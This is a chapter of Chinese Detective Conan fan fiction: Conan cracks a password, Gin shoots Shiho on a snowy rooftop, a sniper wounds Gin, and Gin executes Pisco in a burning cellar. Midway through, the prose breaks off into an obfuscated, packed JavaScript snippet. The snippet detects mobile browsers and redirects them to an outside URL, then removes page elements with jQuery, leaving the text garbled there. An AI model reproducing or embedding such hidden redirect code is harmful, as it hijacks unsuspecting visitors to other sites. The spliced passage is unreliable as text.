103.追思会(下)
作品:《自由职业的业务范围是否过于广泛》 “你知道‘Hercule Poirot’怎么拼吗?”
柯南愣了愣,得知对方正在尝试资料库的通行密码。在得到组织的人会给这种试验阶段的药物起的别称后,从“残废的名侦探”推理得出了正确的答案“shelling ford”。
屏幕闪烁了一下。随即,大量的文件列表如同决堤的洪水弹了出来,密密麻麻的数据和报告标题映入眼帘。
——猜对了。
但是灰原的声音不太对……白干开始起作用了吗?柯南来不及细究,就被耳麦里传来的粗重呼吸声转移了注意。
然而祸不单行。
经阿笠博士提醒,他们发现了那辆眼熟的保时捷以及不想熟悉的银发身影。
难道说……!
灰原的那台电脑,早就被组织安装了发信器?!
可恶……偏偏在这个时候!
*
酒窖里弥漫着陈旧木材和灰尘的气息,光线昏暗。宫野志保——勉强从灰原哀的形态逆转回来,承受着剧烈变化和高烧的双重折磨,却还是极力稳住呼吸,将自己藏匿在烟囱通道中。
她能清晰地听到外面传来的不疾不徐的脚步声,也听到了琴酒和伏特加的声音。
“大哥,这里好像没人。”伏特加粗声粗气地说,“说好的30分钟后联系,结果人影都没见着,说不定是出了什么意外。”
“不管怎么样,我们还是早点闪人为好啊大哥。”
琴酒没有立刻回答。他的目光缓缓移动,最终,定格在那个巨大的壁炉上,嘴角勾起一丝残酷而了然的弧度。
“……说的也是。”
在伏特加提议离开后,琴酒只是意味深长地最后瞥了一眼那看似空无一物的壁炉,然后利落转身,顺手“咔哒”一声将酒窖的门从外面牢牢锁死。
*
确认脚步声远去,宫野志保才敢缓缓活动有些发僵的四肢。她不敢停留,目光迅速锁定在壁炉上方那通往屋外的烟囱口。
那是唯一的生路。
她咬紧牙关,用尽全身残存的力气,攀着粗糙的砖石内壁,一点一点极其艰难地向上爬去,不敢有丝毫松懈。
终于,她的手指扒住烟囱的边缘。冰冷的夜风夹杂着雪花灌入口鼻,她用尽最后的气力,将自己从那个狭窄的出口中挤出,重重摔在天台厚厚的积雪上。
冰冷的雪瞬间包裹住她赤/裸的双足,刺骨的寒意直冲头顶,却也让昏沉的头脑获得了一丝短暂的清明。
她贪婪地呼吸着室外冰冷的空气,感受着雪花落在滚烫皮肤上的触感。
至少……逃出来了。
这个念头刚刚浮现,还没来得及化作一丝庆幸的笑容——
咻——!
一声经过消音器处理的枪响,划破了雪夜的寂静。
紧接着,一股撕裂般的剧痛从她右肩猛地炸开,巨大的冲击力让她整个人向前踉跄扑倒,温热的鲜血瞬间涌出,浸透了单薄的衣物,在洁白的雪地上晕开刺目的红。
宫野志保闷哼一声,眼前阵阵发黑,剧烈的疼痛让她几乎晕厥。
然后,那个如梦魇般冰冷而熟悉的声音响起,带着一丝如愿以偿的残忍笑意:
“久违了,雪莉。”
琴酒从天台楼梯口处缓缓走出,黑色的风衣下摆在风雪中微微飘动,仿佛从未离开,一直就在那里,等待着她的自投罗网。
“……你还真有本事,竟然能算到我会从这个烟囱出来。”宫野志保艰难抬起头,苍白的脸上扯出一个嘲讽的弧度。
琴酒手中的伯/莱/塔稳稳地指着她,语气平淡得像在陈述一个既定事实:“——因为你掉落的头发。”
“长度不对,而且发根处新长出来的、未被染黑的咖色,太显眼了,就落在壁炉旁边。”
“虽然我不知道你是被皮斯科抓去的还是趁着他不在的时候偷偷溜进酒窖——”
琴酒发出一声短促的嗤笑,“虽然我的听力远没有夏特勒兹那个怪物那么灵敏,但是你从壁炉里传出的、颤抖的呼吸声我还是能听见的。”
……原来从一开始,她的藏匿就如同掩耳盗铃。
“本来我能够在壁炉里就解决掉你,不过趁你的嘴巴还能动,我就问问你——”银发男人的脸色沉郁。
“你到底是用什么手法从组织的毒气室里消失的。”
*
宫野志保咬紧下唇,剧烈的疼痛和失血让她视线模糊,但她只是用那双冰蓝色的眼眸倔强地回视琴酒,用沉默筑起最后一道防线。
“大哥,这个女的嘴还真是够硬。”伏特加看着连中数枪、无力倒在地上的雪莉道。
“既然如此,就送她上路吧。”琴酒不再寻求答案,缓缓抬起了手中的伯/莱/塔,“你可以去见先你而去的好姐姐了。”
砰!
勉强冲上旧馆天台的柯南连气都还没喘匀,就看见那道银发身影的左肩炸出一簇血雾!
狙击?!从哪里来的?!
这绝非偶然,现场还有第三方势力!
“大哥!”伏特加一惊,先是下意识地用自己的身体试图遮挡琴酒,然后迅速扫视周围可能隐藏狙击手的高点。
来不及细想这突如其来的援手(或者说搅局者)究竟是何方神圣,柯南连忙躲在门后,利用手中的变声器:“快走!快到烟囱里去!”
还有后手?!伏特加又惊又怒,判断声音大致来源于门后,立刻调转枪口,朝着铁门方向连开数枪。
子弹击打在生锈的铁皮和水泥墙上,溅起一串火星和碎屑,试图用火力压制这个藏头露尾的指挥者。
失策,没想到那个女人竟然找了帮手!
琴酒的感知敏锐于常人,在子弹破空前的瞬间已经向他发出警告,让他做出极限的闪避动作,但还是被子弹撕裂了肌肉。
“啧。”他只得匆匆压迫止血,脸色阴沉得可怕,从齿缝间挤出命令:“伏特加,撤!”
*
【距离旧馆数百米外,另一栋建筑的顶层天台】
“哎呀呀,还真是——敏锐。”
从狙击倍镜中看着银发杀手快速离开,在伏特加掩护下快速消失在楼梯口的背影,诸伏景光有些遗憾地站起身,开始利落地拆卸狙击枪,将其装入一旁的乐器盒中。
多亏了清浅提供的关于组织可能在此处有任务的精准情报,公安才能提前埋伏,逮到这样一个千载难逢的狙击机会。
可惜在扣动扳机的刹那被对方察觉到了,最终只是击中了肩膀。
现在就想杀掉组织顶尖的杀手琴酒还不太现实,必然会引来组织疯狂的报复和调查,不利于长远计划。不过能悄悄给对方使一下绊子也是不错的。( ̄︶ ̄)
想到这里,猫眼青年脸上掠过一丝恶作剧得逞般的浅浅笑意,愉快地眯了眯眼。他从容地离开天台,在走下楼梯的时候顺手拿出手机,发出一封早已编辑好的简短邮件。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16847264|175638||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
*
从烟囱高处坠落的冲击,加上白干酒效的急速消退,让宫野志保的身体在剧痛中再次收缩。骨骼仿佛被无形之力揉碎重组,枪伤处的灼痛与高烧的晕眩交织。
她蜷缩在冰冷的地面上,重新变回了灰原哀的模样,连抬起头的力气都已耗尽。
“真是神奇的一幕。”
是……谁……
灰原哀的意识已经模糊,只能勉强感知到一个高大的阴影笼罩了自己。
来者缓缓蹲下身,“那个时候你还在襁褓,应该不记得我了。不过你那对科学家父母跟我可是交情匪浅哦。
其实我对那剂开发中的药物早就闻名已久了,不过,我没想到你已经进展到这个阶段了。你那对意外身亡的父母在天之灵要是知道,一定很欣慰。”
“虽然你改变了发型和发色,但你和你姐姐长得真的很像……”说着,他从西装内袋掏出手枪,冰冷的枪口精准地指向女孩的额头,“可是命令终究是命令,我也是情非得已,志保。”
你到底……是谁……
就在千钧一发之际,一道陌生的声音响起。
“戏唱完了吧,枡山先生。”
“或者,我该称呼你为——皮斯科?”
谁?!
枡山宪三——皮斯科——猛地站起身,在酒窖里疯狂寻找一点点揭露自己犯罪手法的家伙,最后在打碎一箱酒后才发现是扩音器。
然而,站在拥有96%酒精度数的生命之水、这种动不动就汽化的物体旁边抽烟,结果自然是“噗”的一声轻响,微弱的火星瞬间引燃极易挥发的酒精蒸气,蓝色的火苗猛地窜起,迅速沿着酒液蔓延开来,形成难以扑灭的大火。
可恶的小鬼!
趁着他被火焰吸引注意力的瞬间,柯南快速背着灰原离开,临走前还不忘将门关好,而四处寻找的皮斯科听到了动静,转向壁炉方向时却猝不及防地被冰冷的硬物顶住了前额。
那熟悉的带着死亡气息的触感,让他瞬间僵在原地。
“你、你这是干什么?!琴酒!”他声音干涩,带着难以置信的恐惧。
琴酒站在他面前,右手指着的伯/莱/塔稳如磐石,左肩处的衣物被血迹浸透,脸色因失血和暴怒而显得格外苍白狰狞。
“你真是老了,皮斯科。”银发杀手的声音刺骨,“为什么没有立刻杀了那个摄影师,把那卷底片毁掉?”
“摄影师?什么底片?你在说什么?” 皮斯科一脸茫然。
“我想明天早上的早报马上就会换上你的照片了。”
琴酒回想起贝尔摩德刚刚传来的情报,联想到那些不知如何得到消息、在会场保护吞口重彦的条子,以及刚才那个让他挂彩的狙击手,心情差劲到了极点。
“而且还是你朝着天花板开枪的一张特写。”
“不要!你要是杀了我的话,以后就没办法再找雪莉了!我现在已经掌握了线索,再说,我为他做牛做马了这么多年,你没有资格杀我!”皮斯科强装镇定,想要借着资历压制琴酒。
然而琴酒的眼神没有丝毫动摇,只有一片漠然的杀意。
“不好意思,这就是他不久之前才直接对我下达的命令。
不要忘了你是靠组织的力量才有今天这个局面,这场南柯一梦也该醒醒了。”
加装了消音器的枪口发出了一声沉闷的轻响。琴酒捂着勉强止血的左臂毁掉痕迹快速离开,徒留火焰在酒窖中舒卷。

